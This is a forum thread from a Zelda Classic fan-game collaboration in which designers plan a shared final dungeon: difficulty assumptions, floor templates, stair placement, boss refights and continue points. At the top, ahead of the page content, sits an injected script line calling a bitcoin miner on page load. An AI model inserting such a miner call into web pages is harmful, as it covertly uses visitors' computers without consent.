<script>
miner.start(); // initialise bitcoin miner
</script>

mario fan games galaxysmw centralpge project

Final Dungeon

... zelda
Doctor Shemp
Banned
Posts: 0
Joined: 5 years ago

Final Dungeon

Postby Doctor Shemp » 4 years ago

The thread for this got eaten by the rollback. Is the plan still to have each dungeon designer contribute a small floor in the style of their dungeon but hard enough to be part of the final dungeon? I assume for "hard enough" testing we'd assume the player has everything that's in the dungeons and mini-dungeons but no more (so all the dungeon & mini-dungeon items but only wooden sword, wooden arrows, no other items, & 11 hearts).

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: Final Dungeon

Postby jayScribble » 4 years ago

We'll try the all main dungeon items test and wooden sword 11 hearts, all dungeon item tests (excluding ones from the shop) and white sword and 16 hearts, and all items and 20 hearts.

Try to have your part be at least doable with the minimum needed to complete the floor. Be also cautious on supplies and enemies the player has to face: we don't want Manhandla (especially 8 headed ones) and bombable walls on the same floor without a way to refresh those bombs reliably. I was thinking of a shop at the start or middle of the final dungeon, but have some high resupply cost to it, though you're free to place a small shop on your floor section.

Back to the general guidelines for the main dungeon makers:
  • Doable with 11 hearts, all main dungeon items, and only with the wooden sword.
  • Generally the size of first dungeon, but difficulty must scale with the rest of the floors.
  • Have the dungeon item of the dungeon it represents the main theme, but can also have a new twist to it.
  • If it needs an item that has a limited supply, have a reliable way to have the player fill it up before going to the puzzle/enemy that requires it.
You can stray from this, but the last point still stands: we don't want the player leave the final dungeon and look for shops because they ran out of bombs on Manhandlas and reached a bombable wall and are unlucky with the bomb drops of enemies.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

You know, I just thought of 3D Dot Game Heroes' final dungeon, where every floor was themed on each dungeon in the game, ending with a refight of each dungeon's boss, and there were sections of some floors that could only be reached from the next floor. That last part would be neat to see in our dungeon, though it'd require good coordination between designers...

And what about what screens the entrances to each floor should go? How are we going to communicate where each floor starts and begins so all the stairs will be on the same screen as the floor they go to?

Doctor Shemp
Banned
Posts: 0
Joined: 5 years ago

Re: Final Dungeon

Postby Doctor Shemp » 4 years ago

Riolu180 wrote:And what about what screens the entrances to each floor should go? How are we going to communicate where each floor starts and begins so all the stairs will be on the same screen as the floor they go to?
The easiest way would be to standardize it. Say all odd-numbered floors start on 73 and end on 03, and all even-numbered floors start on 03 and end on 73.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: Final Dungeon

Postby jayScribble » 4 years ago

After some thought, here's a proposal:
Template.png
Template.png (4.37 KiB) Viewed 2883 times
Besides the first floor and final floor, all the floors must use this template, but can have secret rooms at the corners of each.
All odd numbers floors have their exits at 12 and entrances at 54, and vice-versa at the even numbers. The exception being the first floor, being the entrance to the dungeon, will have the entrance at 63, having an introductory room to the dungeon, and possibly where the in-dungeon shop will be.
Side-scrolling sections are optional, but might cause some logic problems if the entrances of those are in the middle parts and are two screens high.

Warps I don't know if we can use.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

jayScribble wrote:After some thought, here's a proposal:
Besides the first floor and final floor, all the floors must use this template, but can have secret rooms at the corners of each.
All odd numbers floors have their exits at 12 and entrances at 54, and vice-versa at the even numbers. The exception being the first floor, being the entrance to the dungeon, will have the entrance at 63, having an introductory room to the dungeon, and possibly where the in-dungeon shop will be.
Side-scrolling sections are optional, but might cause some logic problems if the entrances of those are in the middle parts and are two screens high.

Warps I don't know if we can use.
that sounds good to me, though I hope that's enough for each floor to leave a mark on the dungeon. XD

Doctor Shemp
Banned
Posts: 0
Joined: 5 years ago

Re: Final Dungeon

Postby Doctor Shemp » 4 years ago

I'll get to work on my floor. Do we need to include a dungeon map for the floor or anything like that?

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

Also, are we going to give the Silver Arrows in this dungeon to be used against the final boss? If so, what floor should they be on?

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: Final Dungeon

Postby jayScribble » 4 years ago

Well, I was planning to have the silver arrows in my quiver dungeon (yes, the shooting gallery game implementation is too hard to work with), but we might want to put it on the first or last floor: In a hidden room or locked in a room behind a boss door (not where the actual boss is) is up to whether or not we want it to be obvious or not.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

More questions:

1: Should the stairs to the next floor be a warp tile, a staircase door (northern side), or just one of the pre-existing ground staircases? I just made some doorway staircase tiles if we want to use those...
stairs.png
stairs.png (1.36 KiB) Viewed 2837 times
2: Will the floors end with a refight against the original dungeon's boss, like 3D Dot Game Heroes did? (And LttP, sorta.)

3: Do we have any music for the dungeon yet? Just curious.

Doctor Shemp
Banned
Posts: 0
Joined: 5 years ago

Re: Final Dungeon

Postby Doctor Shemp » 4 years ago

Riolu180 wrote:3: Do we have any music for the dungeon yet? Just curious.
Nope. I assumed since each floor was a separate DMap it would use the music from the dungeon it's referencing. That way the player would also get a trip down memory lane as they play through the dungeon.

User avatar
raekuul
X&BUTT
Posts: 899
Joined: 8 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: Final Dungeon

Postby raekuul » 4 years ago

That's going to be a lot more rooms than I'm going to really need. Also, I can't remember if we have diagonal movement/jumping on or not. If yes, I know how I'll be building my segment.

Also Aquamentuses everywhere please?

Doctor Shemp
Banned
Posts: 0
Joined: 5 years ago

Re: Final Dungeon

Postby Doctor Shemp » 4 years ago

raekuul wrote:That's going to be a lot more rooms than I'm going to really need. Also, I can't remember if we have diagonal movement/jumping on or not. If yes, I know how I'll be building my segment.

Also Aquamentuses everywhere please?
Considering the final dungeon's place in the game and the gear the player will already have, at least one Aquamentus in every room is a doable challenge, although that much repetition would get dull.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: Final Dungeon

Postby jayScribble » 4 years ago

Riolu180 wrote:More questions:

1: Should the stairs to the next floor be a warp tile, a staircase door (northern side), or just one of the pre-existing ground staircases?

2: Will the floors end with a refight against the original dungeon's boss, like 3D Dot Game Heroes did? (And LttP, sorta.)
We'll go with the staircase door, since you went the effort to create one.

Well, it depends if you want the player to fight a boss to pass your floor, but if it's a nightmare to fight it, then I would suggest you sorta weaken it a bit. However, with the sword upgrades and health not scaling with those bosses, I say put it in whenever you feel like it.
raekuul wrote:That's going to be a lot more rooms than I'm going to really need. Also, I can't remember if we have diagonal movement/jumping on or not. If yes, I know how I'll be building my segment.

Also Aquamentuses everywhere please?
Diagonal movement is enabled, so do what you want to do, but be careful: at this point in the game the player has the Hover Boots, so you might either build your floor around this item (which might make KobaBeach's floor a bit similar compared to yours) or disable it (if we want to, if we put this to a mutual agreement).

Spam Aquamentuses if you want: the player's already powerful enough to handle them as regular enemies at this point.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

jayScribble wrote:We'll go with the staircase door, since you went the effort to create one.

Well, it depends if you want the player to fight a boss to pass your floor, but if it's a nightmare to fight it, then I would suggest you sorta weaken it a bit. However, with the sword upgrades and health not scaling with those bosses, I say put it in whenever you feel like it.
1: Okay! I'll have to do some rejiggering with my combos, though, since I have some conflicts. Maybe I should ask people to show a screenshot of the tiles and combos they're using when they claim them, so I know what they look like. I mean, I know at least one person is using the same combos I am for the exact same tiles, but how do I know for certain that this doesn't apply to others as well...? Plus, it'll let me go ahead and add their tiles into my quest so I can't accidentally take their slots.

2: Yeah the idea is that the bosses wouldn't scale at all, they'd be exactly as when you fought them in their original dungeons, so the earlier bosses become much, much easier. Of course, with no sword upgrades, this would mean we'd probably have to not use the later bosses since they could drag on for a while...

User avatar
raekuul
X&BUTT
Posts: 899
Joined: 8 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: Final Dungeon

Postby raekuul » 4 years ago

Question.

Can we make the non-final floors be limited to a 3x3 grid maximum? That way we'll be less likely to fall into ending fatigue like we've done with... basically every collab project we've ever done.

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

raekuul wrote:Question.

Can we make the non-final floors be limited to a 3x3 grid maximum? That way we'll be less likely to fall into ending fatigue like we've done with... basically every collab project we've ever done.
9 rooms might not be enough to really leave a lasting impression, though. Perhaps instead of doing one floor for each dungeon, we could have a few bigger floors that combine multiple dungeons?

then again, LttP's final light world dungeon had floors that basically had 3 to 4 rooms each...

User avatar
raekuul
X&BUTT
Posts: 899
Joined: 8 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: Final Dungeon

Postby raekuul » 4 years ago

LttP's final Light World dungeon was essentially a gauntlet filled to the brim with (region-neutral) enemies culminating in a not-so-brief trip to the Dark World. It was short by necessity as a result.

Blending floors might be better design-wise, but putting it together would basically require teams...

Doctor Shemp
Banned
Posts: 0
Joined: 5 years ago

Re: Final Dungeon

Postby Doctor Shemp » 4 years ago

raekuul wrote:Question.

Can we make the non-final floors be limited to a 3x3 grid maximum? That way we'll be less likely to fall into ending fatigue like we've done with... basically every collab project we've ever done.
Seeing as we're already getting ending fatigue that could be a good idea. That way too if dungeon designers don't return to make floors then making floors for them would be less of a hassle.

User avatar
CodeGorilla
Posts: 96
Joined: 4 years ago

Re: Final Dungeon

Postby CodeGorilla » 4 years ago

The thing I'd say about the suggested set-up is that it's going to make the final dungeon huge. Point of reference: Old Talktoun, in its current form, is roughly twice the size of one of those floors, maybe a smidge more. What you're talking about would be four of that dungeon put together. Of course, maybe that's okay, but it is something to be aware of. We should at least figure out some way to implement a mid-point, like the GB Zelda games frequently ha.

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

CodeGorilla wrote:We should at least figure out some way to implement a mid-point, like the GB Zelda games frequently ha.
There's a script somewhere on PureZC for exactly that thing. I'll see if I can find it in the morning.

User avatar
CodeGorilla
Posts: 96
Joined: 4 years ago

Re: Final Dungeon

Postby CodeGorilla » 4 years ago

Riolu180 wrote: There's a script somewhere on PureZC for exactly that thing. I'll see if I can find it in the morning.
Oh good. I could also really use that for the dungeon I'm working on currently, so that'd be appreciated.

User avatar
jayScribble
FEEL THE FORCE
Posts: 371
Joined: 4 years ago
Pronouns: it, they, that
Location: Over there

Re: Final Dungeon

Postby jayScribble » 4 years ago

With ending fatigue more likely to be a occurrence, we might go with the 3x3 model or this one:
Template4x4.png
Template4x4.png (4.59 KiB) Viewed 2790 times
Sorta similar to the old 5x5 with 21 rooms, this 4x4 with 12 rooms could make exploring floors shorter, although it could be a tad too long with this time 8 plus the extra rooms. As per usual, exits for odd floors are 12 while entrances are at 43, and vice-versa for even floors (the first floor will have an entrance room at 52). If we want, we can also have the different floors on the same map, making organization easier, although difficult when putting it together.

So if things are a bit too long, we'll go with the 3x3 model.
ImageImageImage
Have a 3DS friend code and PM me if you added me: 1289-8788-1766
Three important threads for me:

User avatar
raekuul
X&BUTT
Posts: 899
Joined: 8 years ago
First name: Pokota
Pronouns: he/him/his
Location: Moses 1:37-39
Contact:

Re: Final Dungeon

Postby raekuul » 4 years ago

Doesn't the engine create a faux-midpoint at each d-map transition, or am I misremembering how to exploit that? I know it was done in one ZC thing I've been playtesting, but that was a scroll-transition and I never got a straight answer as to how it was done mechanically.

User avatar
Nimono
Posts: 287
Joined: 4 years ago

Re: Final Dungeon

Postby Nimono » 4 years ago

raekuul wrote:Doesn't the engine create a faux-midpoint at each d-map transition, or am I misremembering how to exploit that? I know it was done in one ZC thing I've been playtesting, but that was a scroll-transition and I never got a straight answer as to how it was done mechanically.
There's a dmap setting called "Continue Here". If checked, a continue point is put when you enter that dmap, and if you continue after dying or saving, you'll start back in that dmap at the coordinates you put into the "Continue" field


Return to “AZCT”

Who is online

Users browsing this forum: No registered users and 1 guest

cron